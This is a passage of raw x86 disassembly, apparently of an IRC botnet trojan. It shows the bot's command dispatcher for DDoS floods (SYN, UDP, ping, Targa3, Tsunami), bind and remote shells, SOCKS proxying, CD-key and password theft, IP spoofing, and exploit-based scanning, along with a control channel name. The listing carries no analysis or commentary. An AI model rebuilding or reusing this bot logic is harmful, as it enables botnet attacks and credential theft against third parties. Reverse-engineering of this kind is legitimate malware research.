ebx jg short loc_40328A mov [ebp+4Ch+var_8], 1 loc_4032D6: ; CODE XREF: sub_40274D+A11j ; sub_40274D+A3Fj mov eax, [ebp+4Ch+var_10] mov al, [eax] cmp al, ds:byte_43C08C jz short loc_4032EC cmp [ebp+4Ch+var_8], ebx jz loc_40349C loc_4032EC: ; CODE XREF: sub_40274D+B94j push [ebp+4Ch+arg_10] mov edi, [ebp+4Ch+arg_0] push offset aMe ; "$me" push edi call sub_41AB7D lea eax, [ebp+4Ch+var_D0] push eax push offset aUser ; "$user" push edi call sub_41AB7D push [ebp+4Ch+var_9C] push offset aChan ; "$chan" push edi call sub_41AB7D push ebx push ebx lea eax, [ebp+4Ch+var_B4] push 2 push eax call sub_40AB83 push eax push offset aRndnick ; "$rndnick" push edi call sub_41AB7D add esp, 40h push [ebp+4Ch+arg_14] push offset aServer ; "$server" push edi call sub_41AB7D mov edi, offset aChr ; "$chr(" push edi push [ebp+4Ch+arg_0] call sub_41F090 add esp, 14h jmp loc_403420 ; --------------------------------------------------------------------------- loc_40335D: ; CODE XREF: sub_40274D+CD5j push edi push [ebp+4Ch+arg_0] call sub_41F090 mov [ebp+4Ch+var_24], eax add eax, 5 push 4 push eax lea eax, [ebp+4Ch+var_B4] push eax call sub_41E860 lea eax, [ebp+4Ch+var_B4] push offset asc_42F9E0 ; ")" push eax call sub_41E7B2 add esp, 1Ch cmp [ebp+4Ch+var_B4], 30h jl short loc_403395 cmp [ebp+4Ch+var_B4], 39h jle short loc_4033A8 loc_403395: ; CODE XREF: sub_40274D+C40j push 3 lea eax, [ebp+4Ch+var_B4] push offset a63 ; "63" push eax call sub_41E860 add esp, 0Ch loc_4033A8: ; CODE XREF: sub_40274D+C46j lea eax, [ebp+4Ch+var_B4] push eax call sub_41E7AD test eax, eax pop ecx jle short loc_4033C5 lea eax, [ebp+4Ch+var_B4] push eax call sub_41E7AD pop ecx mov [ebp+4Ch+var_A8], al jmp short loc_4033D6 ; --------------------------------------------------------------------------- loc_4033C5: ; CODE XREF: sub_40274D+C67j call sub_41ECDE push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+4Ch+var_A8], dl loc_4033D6: ; CODE XREF: sub_40274D+C76j lea eax, [ebp+4Ch+var_B4] push eax mov [ebp+4Ch+var_A7], bl call sub_41E1C0 push 0Ch mov [ebp+4Ch+var_14], eax lea eax, [ebp+4Ch+var_B4] push ebx push eax call sub_41E5F0 mov eax, [ebp+4Ch+var_14] add eax, 6 push eax push [ebp+4Ch+var_24] lea eax, [ebp+4Ch+var_B4] push eax call sub_41E860 lea eax, [ebp+4Ch+var_A8] push eax lea eax, [ebp+4Ch+var_B4] push eax push [ebp+4Ch+arg_0] call sub_41AB7D push edi push [ebp+4Ch+arg_0] call sub_41F090 add esp, 30h loc_403420: ; CODE XREF: sub_40274D+C0Bj test eax, eax jnz loc_40335D mov edi, 1FFh push edi push [ebp+4Ch+arg_0] lea eax, [ebp+4Ch+var_4590] push eax call sub_41E860 push edi lea eax, [ebp+4Ch+var_4590] push eax lea eax, [ebp+4Ch+var_4AF8] push eax call sub_41E860 mov edi, offset asc_42FCE0 ; " " lea eax, [ebp+4Ch+var_4AF8] push edi push eax call sub_41E7B2 add esp, 20h mov [ebp+4Ch+var_A4], eax mov [ebp+4Ch+var_24], 1 loc_403470: ; CODE XREF: sub_40274D+D3Aj push edi push ebx call sub_41E7B2 pop ecx pop ecx mov ecx, [ebp+4Ch+var_24] inc [ebp+4Ch+var_24] cmp [ebp+4Ch+var_24], 20h mov [ebp+ecx*4+4Ch+var_A4], eax jl short loc_403470 lea eax, [ebp+esi+4Ch+var_A4] mov ecx, [eax] cmp ecx, ebx jz loc_402B92 add ecx, 3 mov [eax], ecx loc_40349C: ; CODE XREF: sub_40274D+B99j mov edi, [ebp+esi+4Ch+var_A4] push edi push offset aRndnick_0 ; "rndnick" mov [ebp+4Ch+var_10], edi call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40A067 push edi push offset aRn ; "rn" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40A067 push edi push offset aDie ; "die" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405446 push edi push offset aD_0 ; "d" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405446 push edi push offset aLogout ; "logout" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4053AE push edi push offset aLo ; "lo" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4053AE push edi push offset aVersion ; "version" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40539F push edi push offset aVer ; "ver" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40539F push edi push offset aDedication ; "dedication" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405395 push edi push offset aDed ; "ded" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405395 push edi push offset aSpeedtest ; "speedtest" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405382 push edi push offset aSt ; "st" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405382 push edi push offset aSecure ; "secure" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405288 push edi push offset aSec ; "sec" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405288 push edi push offset aUnsecure ; "unsecure" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405288 push edi push offset aUnsec ; "unsec" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405288 push edi push offset aBindshell ; "bindshell" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40518C push edi push offset aBd ; "bd" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40518C push edi push offset aBindshellstop ; "bindshellstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403643 push [ebp+esi+4Ch+var_A0] push 6 push offset aServer_0 ; "Server" push offset dword_42F934 jmp loc_40505B ; --------------------------------------------------------------------------- loc_403643: ; CODE XREF: sub_40274D+EDFj push edi push offset aSocks4 ; "socks4" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405074 push edi push offset aS4 ; "s4" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405074 push edi push offset aSocks4stop ; "socks4stop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403693 push [ebp+esi+4Ch+var_A0] push 19h push offset aServer_0 ; "Server" push offset dword_42F90C jmp loc_40505B ; --------------------------------------------------------------------------- loc_403693: ; CODE XREF: sub_40274D+F2Fj push edi push offset aRloginstop ; "rloginstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4036B9 push [ebp+esi+4Ch+var_A0] push 9 push offset aServer_0 ; "Server" push offset dword_42F8F0 jmp loc_40505B ; --------------------------------------------------------------------------- loc_4036B9: ; CODE XREF: sub_40274D+F55j push edi push offset aHttpstop ; "httpstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4036DF push [ebp+esi+4Ch+var_A0] push 3 push offset aServer_0 ; "Server" push offset dword_42F8D4 jmp loc_40505B ; --------------------------------------------------------------------------- loc_4036DF: ; CODE XREF: sub_40274D+F7Bj push edi push offset aLogstop ; "logstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403705 push [ebp+esi+4Ch+var_A0] push 25h push offset aLogList ; "Log list" push offset dword_42F8B4 jmp loc_40505B ; --------------------------------------------------------------------------- loc_403705: ; CODE XREF: sub_40274D+FA1j push edi push offset aRedirectstop ; "redirectstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_40372B push [ebp+esi+4Ch+var_A0] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_42F884 jmp loc_40505B ; --------------------------------------------------------------------------- loc_40372B: ; CODE XREF: sub_40274D+FC7j push edi push offset aDdos_stop ; "ddos.stop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403751 push [ebp+esi+4Ch+var_A0] push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_42F860 jmp loc_40505B ; --------------------------------------------------------------------------- loc_403751: ; CODE XREF: sub_40274D+FEDj push edi push offset aSynstop ; "synstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403777 push [ebp+esi+4Ch+var_A0] push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_42F840 jmp loc_40505B ; --------------------------------------------------------------------------- loc_403777: ; CODE XREF: sub_40274D+1013j push edi push offset aSkysynstop ; "skysynstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_40379D push [ebp+esi+4Ch+var_A0] push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_42F814 jmp loc_40505B ; --------------------------------------------------------------------------- loc_40379D: ; CODE XREF: sub_40274D+1039j push edi push offset aTarga3stop ; "targa3stop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4037C3 push [ebp+esi+4Ch+var_A0] push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_42F7E8 jmp loc_40505B ; --------------------------------------------------------------------------- loc_4037C3: ; CODE XREF: sub_40274D+105Fj push edi push offset aWonkstop ; "wonkstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4037E9 push [ebp+esi+4Ch+var_A0] push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_42F7C4 jmp loc_40505B ; --------------------------------------------------------------------------- loc_4037E9: ; CODE XREF: sub_40274D+1085j push edi push offset aPacketstop ; "packetstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_40391E mov esi, [ebp+esi+4Ch+var_A0] mov edi, [ebp+4Ch+arg_4] push esi push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_42F860 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB push esi push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_42F840 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB add esp, 40h push esi push 17h push offset aUdpFlood ; "UDP flood" push offset dword_42F7A0 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB push esi push 16h push offset aPingFlood ; "Ping flood" push offset dword_42F788 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB add esp, 40h push esi push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_42F7E8 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB push esi push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_42F7C4 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB add esp, 40h push esi push 0Fh push offset aTsunamiFlood ; "Tsunami flood" push offset dword_42F768 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB push esi push 13h push offset aWisdomAttack ; "Wisdom attack" push offset dword_42F748 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB add esp, 40h push esi push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_42F814 push 1 push [ebp+4Ch+var_4] push [ebp+4Ch+var_9C] push edi call sub_40B0BB push ebx push [ebp+4Ch+var_4] push offset unk_42F714 push [ebp+4Ch+var_9C] push edi call sub_40123B add esp, 34h jmp loc_402B92 ; --------------------------------------------------------------------------- loc_40391E: ; CODE XREF: sub_40274D+10ABj push edi push offset aTsunamistop ; "tsunamistop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403944 push [ebp+esi+4Ch+var_A0] push 0Fh push offset aTsunamiFlood ; "Tsunami flood" push offset dword_42F768 jmp loc_40505B ; --------------------------------------------------------------------------- loc_403944: ; CODE XREF: sub_40274D+11E0j push edi push offset aWisdomstop ; "wisdomstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_40396A push [ebp+esi+4Ch+var_A0] push 13h push offset aWisdomAttack ; "Wisdom attack" push offset dword_42F748 jmp loc_40505B ; --------------------------------------------------------------------------- loc_40396A: ; CODE XREF: sub_40274D+1206j push edi push offset aUdpstop ; "udpstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403990 push [ebp+esi+4Ch+var_A0] push 17h push offset aUdpFlood ; "UDP flood" push offset dword_42F7A0 jmp loc_40505B ; --------------------------------------------------------------------------- loc_403990: ; CODE XREF: sub_40274D+122Cj push edi push offset aPingstop ; "pingstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4039B6 push [ebp+esi+4Ch+var_A0] push 16h push offset aPingFlood ; "Ping flood" push offset dword_42F788 jmp loc_40505B ; --------------------------------------------------------------------------- loc_4039B6: ; CODE XREF: sub_40274D+1252j push edi push offset aTftpstop ; "tftpstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4039DC push [ebp+esi+4Ch+var_A0] push 5 push offset aServer_0 ; "Server" push offset dword_42F6CC jmp loc_40505B ; --------------------------------------------------------------------------- loc_4039DC: ; CODE XREF: sub_40274D+1278j push edi push offset aFindfilestop ; "findfilestop" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40504B push edi push offset aFfstop ; "ffstop" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40504B push edi push offset aProcsstop ; "procsstop" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405039 push edi push offset aPsstop ; "psstop" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405039 push edi push offset aClonestop ; "clonestop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403A56 push [ebp+esi+4Ch+var_A0] push 1Fh push offset aClone ; "Clone" push offset dword_42F67C jmp loc_40505B ; --------------------------------------------------------------------------- loc_403A56: ; CODE XREF: sub_40274D+12F2j push edi push offset aSecurestop ; "securestop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403A7C push [ebp+esi+4Ch+var_A0] push 22h push offset aSecure_0 ; "Secure" push offset dword_42F658 jmp loc_40505B ; --------------------------------------------------------------------------- loc_403A7C: ; CODE XREF: sub_40274D+1318j push edi push offset aScanstop ; "scanstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403AA2 push [ebp+esi+4Ch+var_A0] push 0Bh push offset aScan ; "Scan" push offset dword_42F638 jmp loc_40505B ; --------------------------------------------------------------------------- loc_403AA2: ; CODE XREF: sub_40274D+133Ej push edi push offset aScanstats ; "scanstats" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405026 push edi push offset aStats ; "stats" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405026 push edi push offset aTransferstats ; "transferstats" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405013 push edi push offset aTrstats ; "trstats" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405013 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405000 push edi push offset aCbstats ; "cbstats" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_405000 push edi push offset aExploitlist ; "exploitlist" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404FED push edi push offset aExplist ; "explist" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404FED push edi push offset aReconnect ; "reconnect" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404FCC push edi push offset aR ; "r" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404FCC push edi push offset aDisconnect ; "disconnect" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404FAA push edi push offset aDc ; "dc" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404FAA push edi push offset aQuit_0 ; "quit" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404F64 push edi push offset aQ ; "q" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404F64 push edi push offset aStatus ; "status" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404F29 push edi push offset aS_5 ; "s" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404F29 push edi push offset aId ; "id" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404EF5 push edi push offset aI ; "i" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404EF5 push edi push offset aReboot ; "reboot" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403C6B call sub_41AEBB test eax, eax mov eax, offset unk_42F574 jnz short loc_403C40 mov eax, offset unk_42F54C loc_403C40: ; CODE XREF: sub_40274D+14ECj push eax lea eax, [ebp+4Ch+var_2D0] push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 1Ch jmp loc_408D10 ; --------------------------------------------------------------------------- loc_403C6B: ; CODE XREF: sub_40274D+14DEj push edi push offset aThreads ; "threads" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404E1D push edi push offset aT ; "t" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404E1D push edi push offset aAliases ; "aliases" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404E00 push edi push offset aAl ; "al" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404E00 push edi push offset aLog ; "log" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404D17 push edi push offset aLg ; "lg" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404D17 push edi push offset aClearlog ; "clearlog" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404CFE push edi push offset aClg ; "clg" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404CFE push edi push offset aNetinfo ; "netinfo" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404CCF push edi push offset aNi ; "ni" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404CCF push edi push offset aSysinfo ; "sysinfo" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404CA4 push edi push offset aSi ; "si" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404CA4 push edi push offset aRemove ; "remove" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404C6F push edi push offset aRm ; "rm" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404C6F push edi push offset aProcs ; "procs" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404B59 push edi push offset aPs ; "ps" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404B59 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404B35 push edi push offset aKey ; "key" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404B35 push edi push offset aUptime ; "uptime" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404AB7 push edi push offset aUp ; "up" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404AB7 push edi push offset aDriveinfo ; "driveinfo" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404AA0 push edi push offset aDrv ; "drv" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404AA0 push edi push offset aTestdlls ; "testdlls" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404A8A push edi push offset aDll ; "dll" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404A8A push edi push offset aOpencmd ; "opencmd" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404A1C push edi push offset aOcmd ; "ocmd" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404A1C push edi push offset aCmdstop ; "cmdstop" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_403EB3 push [ebp+esi+4Ch+var_A0] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_42F47C jmp loc_40505B ; --------------------------------------------------------------------------- loc_403EB3: ; CODE XREF: sub_40274D+174Fj push edi push offset dword_42F478 call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_403FC1 cmp [ebp+4Ch+var_C], ebx jnz short loc_403EE4 push ebx push [ebp+4Ch+var_4] push offset dword_42F464 push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_403EE4: ; CODE XREF: sub_40274D+177Ej mov eax, [ebp+4Ch+arg_18] mov [ebp+4Ch+var_24], ebx mov [ebp+4Ch+var_14], eax jmp short loc_403EF2 ; --------------------------------------------------------------------------- loc_403EEF: ; CODE XREF: sub_40274D+17EEj mov eax, [ebp+4Ch+var_14] loc_403EF2: ; CODE XREF: sub_40274D+17A0j cmp [eax], bl jz short loc_403EF9 inc eax jmp short loc_403EFE ; --------------------------------------------------------------------------- loc_403EF9: ; CODE XREF: sub_40274D+17A7j mov eax, offset aEmpty ; "<Empty>" loc_403EFE: ; CODE XREF: sub_40274D+17AAj push eax push [ebp+4Ch+var_24] lea eax, [ebp+4Ch+var_2D0] push offset aD_S ; "%d. %s" push eax call sub_41E6A6 push 1 push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add [ebp+4Ch+var_14], 80h add esp, 24h inc [ebp+4Ch+var_24] cmp [ebp+4Ch+var_24], 3 jl short loc_403EEF push offset unk_42F430 call sub_417D70 pop ecx loc_403F48: ; CODE XREF: sub_40274D+1A74j ; sub_40274D+2D0Aj mov eax, [ebp+esi+4Ch+var_A0] cmp eax, ebx mov [ebp+4Ch+var_8], eax jz loc_402B92 push edi push offset aSpoof ; "spoof" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_405563 mov esi, [ebp+4Ch+var_8] push offset aOff ; "off" push esi call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_405469 lea eax, [ebp+4Ch+var_2D0] push offset unk_42F3FC push eax mov ds:dword_4D5898, ebx call sub_41E6A6 pop ecx pop ecx loc_403F9D: ; CODE XREF: sub_40274D+2DBDj ; sub_40274D+2DE3j ... cmp [ebp+4Ch+var_C], ebx jnz loc_404979 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B jmp loc_409FDB ; --------------------------------------------------------------------------- loc_403FC1: ; CODE XREF: sub_40274D+1775j push edi push offset aGetclip ; "getclip" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4049DC push edi push offset aGc ; "gc" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4049DC push edi push offset aFlusharp ; "flusharp" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4049BF push edi push offset aFarp ; "farp" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_4049BF push edi push offset aFlushdns ; "flushdns" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404981 push edi push offset aFdns ; "fdns" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404981 push edi push offset aCurrentip ; "currentip" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40494B push edi push offset aCip ; "cip" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40494B push edi push offset aRloginserver ; "rloginserver" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404809 push edi push offset aRlogin ; "rlogin" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404809 push edi push offset aHttpserver ; "httpserver" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40469D push edi push offset aHttp ; "http" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_40469D push edi push offset aTftpserver ; "tftpserver" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404575 push edi push offset aTftp ; "tftp" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404575 push edi push offset aCrash ; "crash" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_40414A lea eax, [ebp+4Ch+var_2D0] push offset dword_42F354 push eax call sub_41E6A6 cmp [ebp+4Ch+var_C], ebx pop ecx pop ecx jnz short loc_404129 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 14h loc_404129: ; CODE XREF: sub_40274D+19C1j lea eax, [ebp+4Ch+var_2D0] push eax call sub_417D70 mov [esp+10h+var_5C], offset aCrash ; "crash" push [ebp+esi+4Ch+var_90] call sub_41E990 jmp loc_40A216 ; --------------------------------------------------------------------------- loc_40414A: ; CODE XREF: sub_40274D+19A9j push edi push offset aScanall ; "scanall" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404279 push edi push offset aSa ; "sa" call sub_41E990 test eax, eax pop ecx pop ecx jz loc_404279 push edi push offset aPhonehome ; "phonehome" call sub_41E990 test eax, eax pop ecx pop ecx jnz short loc_4041A1 lea eax, [ebp+4Ch+var_D0] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+4Ch+arg_4] call sub_4011F5 loc_404199: ; CODE XREF: sub_40274D+418j add esp, 0Ch jmp loc_402B92 ; --------------------------------------------------------------------------- loc_4041A1: ; CODE XREF: sub_40274D+1A36j push edi push offset aFindpass ; "findpass" call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_4041C7 push edi push offset aFp ; "fp" call sub_41E990 test eax, eax pop ecx pop ecx jnz loc_403F48 loc_4041C7: ; CODE XREF: sub_40274D+1A63j push [ebp+4Ch+var_9C] lea eax, [ebp+4Ch+var_F5C] push 80h push eax call sub_41E6FE mov eax, [ebp+4Ch+arg_4] mov [ebp+4Ch+var_F60], eax mov eax, [ebp+4Ch+var_4] mov [ebp+4Ch+var_ED8], eax mov eax, [ebp+4Ch+var_C] push offset unk_42F2E4 mov [ebp+4Ch+var_ED4], eax lea eax, [ebp+4Ch+var_2D0] push 200h push eax call sub_41E6FE push ebx lea eax, [ebp+4Ch+var_2D0] push 26h push eax call sub_40AE85 add esp, 24h mov [ebp+4Ch+var_EDC], eax lea eax, [ebp+4Ch+var_1C] push eax push ebx lea eax, [ebp+4Ch+var_F60] push eax push offset byte_419FFD push ebx push ebx call ds:dword_42B03C ; CreateThread mov ecx, [ebp+4Ch+var_EDC] imul ecx, 234h cmp eax, ebx mov ds:dword_4444FC[ecx], eax jnz short loc_40426C call ds:dword_42B01C ; RtlGetLastWin32Error push eax push offset unk_42F2A8 jmp loc_408D01 ; --------------------------------------------------------------------------- loc_404264: ; CODE XREF: sub_40274D+1B25j push 32h call ds:dword_42B014 ; Sleep loc_40426C: ; CODE XREF: sub_40274D+1B04j cmp [ebp+4Ch+var_ED0], ebx jz short loc_404264 jmp loc_408D10 ; --------------------------------------------------------------------------- loc_404279: ; CODE XREF: sub_40274D+1A0Cj ; sub_40274D+1A21j mov al, ds:byte_43DF62 cmp al, bl mov [ebp+4Ch+var_14], ebx mov edx, offset byte_43DF62 jz loc_402B92 mov ecx, edx loc_404290: ; CODE XREF: sub_40274D+1B4Bj inc [ebp+4Ch+var_14] add ecx, 0Bh cmp [ecx], bl jnz short loc_404290 cmp al, bl jz loc_402B92 mov [ebp+4Ch+var_20], edx mov esi, offset aImortal2_0 ; "#imortal2" loc_4042AA: ; CODE XREF: sub_40274D+1E01j push 0Bh call sub_40B075 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+4Ch+var_14] add eax, ecx cmp eax, 1F4h jle short loc_4042F6 push ecx lea eax, [ebp+4Ch+var_2D0] push offset unk_42F268 push eax call sub_41E6A6 push ebx push [ebp+4Ch+var_4] lea eax, [ebp+4Ch+var_2D0] push eax push [ebp+4Ch+var_9C] push [ebp+4Ch+arg_4] call sub_40123B add esp, 20h jmp loc_404545 ; --------------------------------------------------------------------------- loc_4042F6: ; CODE XREF: sub_40274D+1B77j or [ebp+4Ch+var_738], 0FFFFFFFFh cmp ds:dword_43D880, ebx mov [ebp+4Ch+var_73C], 64h mov [ebp+4Ch+var_750], 5 mov [ebp+4Ch+var_74C], 320h mov [ebp+4Ch+var_14], ebx jz short loc_404367 mov edi, offset dword_43D880 loc_40432B: ; CODE XREF: sub_40274D+1BFCj mov eax, [ebp+4Ch+var_20] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41E990 test eax, eax pop ecx pop ecx jz short loc_40434D inc [ebp+4Ch+var_14] add edi, 40h cmp [edi], ebx jnz short loc_40432B jmp short loc_404367 ; --------------------------------------------------------------------------- loc_40434D: ; CODE XREF: sub_40274D+1BF2j mov eax, [ebp+4Ch+var_14] mov ecx, eax shl ecx, 6 mov ecx, ds:dword_43D880[ecx] mov [ebp+4Ch+var_754], ecx mov [ebp+4Ch+var_738], eax loc_404367: ; CODE XREF: sub_40274D+1BD7j ; sub_40274D+1BFEj cmp [ebp+4Ch+var_754], ebx jz loc_40456B push 10h pop edi lea eax, [ebp+4Ch+var_2E0] push eax lea eax, [ebp+4Ch+var_314] push eax push [ebp+4Ch+arg_4] mov [ebp+4Ch+var_2E0], edi call ds:dword_444068 ; getsockname mov al, [ebp+4Ch+var_907] neg al push edi sbb eax, eax and eax, 0FFFF0100h add eax, 0FFFFh and [ebp+4Ch+var_310], eax push [ebp+4Ch+var_310] call ds:dword_444188 ; inet_ntoa push eax lea eax, [ebp+4Ch+var_868] push eax call sub_41E860 xor eax, eax cmp [ebp+4Ch+var_907], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+4Ch+var_868] push eax call sub_41EE50 add esp, 14h cmp edi, ebx mov byte ptr [ebp+4Ch+arg_0+3], bl jle short loc_404410 loc_4043EE: ; CODE XREF: sub_40274D+1CC1j cmp eax, ebx jz short loc_404410 mov byte ptr [eax], 78h lea eax, [ebp+4Ch+var_868] push 30h push eax call sub_41EE50 inc byte ptr [ebp+4Ch+arg_0+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+4Ch+arg_0+3] cmp ecx, edi jl short loc_4043EE loc_404410: ; CODE XREF: sub_40274D+1C9Fj ; sub_40274D+1CA3j mov eax, [ebp+4Ch+arg_4] push [ebp+4Ch+var_9C] mov [ebp+4Ch+var_758], eax mov eax, [ebp+4Ch+var_4] mov 